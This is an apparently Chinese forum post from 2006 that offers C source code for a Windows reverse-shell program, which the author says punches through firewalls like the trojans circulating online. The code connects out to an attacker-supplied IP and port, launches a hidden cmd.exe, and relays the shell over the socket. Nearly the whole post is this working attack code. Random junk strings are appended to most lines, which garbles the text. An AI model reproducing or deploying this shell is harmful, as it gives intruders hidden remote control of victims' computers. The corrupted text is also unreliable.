这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yNL71 >w4
aJ5R0Y,
/* ============================== rpmDr7G
Rebound port in Windows NT }0G Ab2
By wind,2006/7 Eqc$*=
===============================*/ tDo0Q/`
#include U9w*x/Swb
#include n C^'2z
K~]jXo^M
#pragma comment(lib,"wsock32.lib") Qp,l>k
$BY{:#a]
void OutputShell(); C0RwW??t
SOCKET sClient; )-@EUN0E>5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V_* ^2c)
bBX~ZWw
void main(int argc,char **argv) A?/?9Gr
{ & \m\QI
WSADATA stWsaData; ;
F=_ozWV*
int nRet; ]Gr'Bt /
SOCKADDR_IN stSaiClient,stSaiServer; |};~YMH
d:D2[
if(argc != 3) WxFjpJt
{ ARE~jzakg
printf("Useage:\n\rRebound DestIP DestPort\n"); /Q!F/HY3ZS
return; vF,l?cU~
} ($wYawz
T*IudxW
WSAStartup(MAKEWORD(2,2),&stWsaData); L2qF@!Yy=
j*5VJ:
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ut+m m\7
pGIeW}2'9
stSaiClient.sin_family = AF_INET; [3.rG!Na
stSaiClient.sin_port = htons(0); 9c 6=[3)V
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eZcm3=WV|
sCUPa-cHF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cv| :.y
{ ')BQ 0sg
printf("Bind Socket Failed!\n"); 4Qv|Z+$i
return; 6]Jv3Re'(I
} 3{ci]h`:y8
Ol? 2Qy.2)
stSaiServer.sin_family = AF_INET; Z9U*SS5s,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L8W3Tpi&(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4Qdg t*
_5zR!|\^
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EP[
gq
{ g@QpqrT
printf("Connect Error!"); bYtF#Y
return; hCmOSDym
} a-3~HH
OutputShell(); UW+I 8\^
} 3EyN"Lvp{o
<ygO?m{
void OutputShell() 7@sWT<P
{ *f(}@U
char szBuff[1024]; iJYr?3nw;
SECURITY_ATTRIBUTES stSecurityAttributes; vmoqsdZ/
OSVERSIONINFO stOsversionInfo; zme:U![
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eN$~@'w
STARTUPINFO stStartupInfo; F4}Zl
char *szShell; Qu\E/T`
PROCESS_INFORMATION stProcessInformation; j.z#fU
unsigned long lBytesRead; `<K#bDU;a
ecHy. 7H
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <W?,n%
L^=>)\R2$[
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B4.hJZ5
stSecurityAttributes.lpSecurityDescriptor = 0; gs!{'=4wT
stSecurityAttributes.bInheritHandle = TRUE; "-hgeQX
VHJr+BQ1K/
dlWw=^
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qg>i8V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $]Q_x?
?XHJCp;f
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &v:iC
u^|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !{4p+peqJV
stStartupInfo.wShowWindow = SW_HIDE; J@Li*Ypo
stStartupInfo.hStdInput = hReadPipe; Fc=8Qt^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #[A/zH|xvV
7.5G4
GetVersionEx(&stOsversionInfo); TWn7&,N
2Two|E
switch(stOsversionInfo.dwPlatformId) #
mzJ^V-
{ vOqYt42
case 1: z` sH
szShell = "command.com"; S`J_}>
break; Tv(s?T6f
default: E J 9A
4B
szShell = "cmd.exe"; rz3&khi
break; (Q@m;i>
} rf9RG!
i} q6^;uTF
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Db2G)63
Edjh*
send(sClient,szMsg,77,0); IlaH,J7n
while(1) !Zs;m`j&9
{ 0[PP-]JS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bT8BJY%+
if(lBytesRead) cd:O@)i
{ K46mE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "['YMhu_
send(sClient,szBuff,lBytesRead,0); p>MX}^6
} M]6=Rxq1:E
else 87*R#((
{ -5E<BmM
lBytesRead=recv(sClient,szBuff,1024,0); :}E*u^v K
if(lBytesRead<=0) break; Sm-nb*ZyC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KYlWV<sR
} 0|HhA,u
} cW MZw|t
<,LeFy\zW
return; ^tpy8TQ
}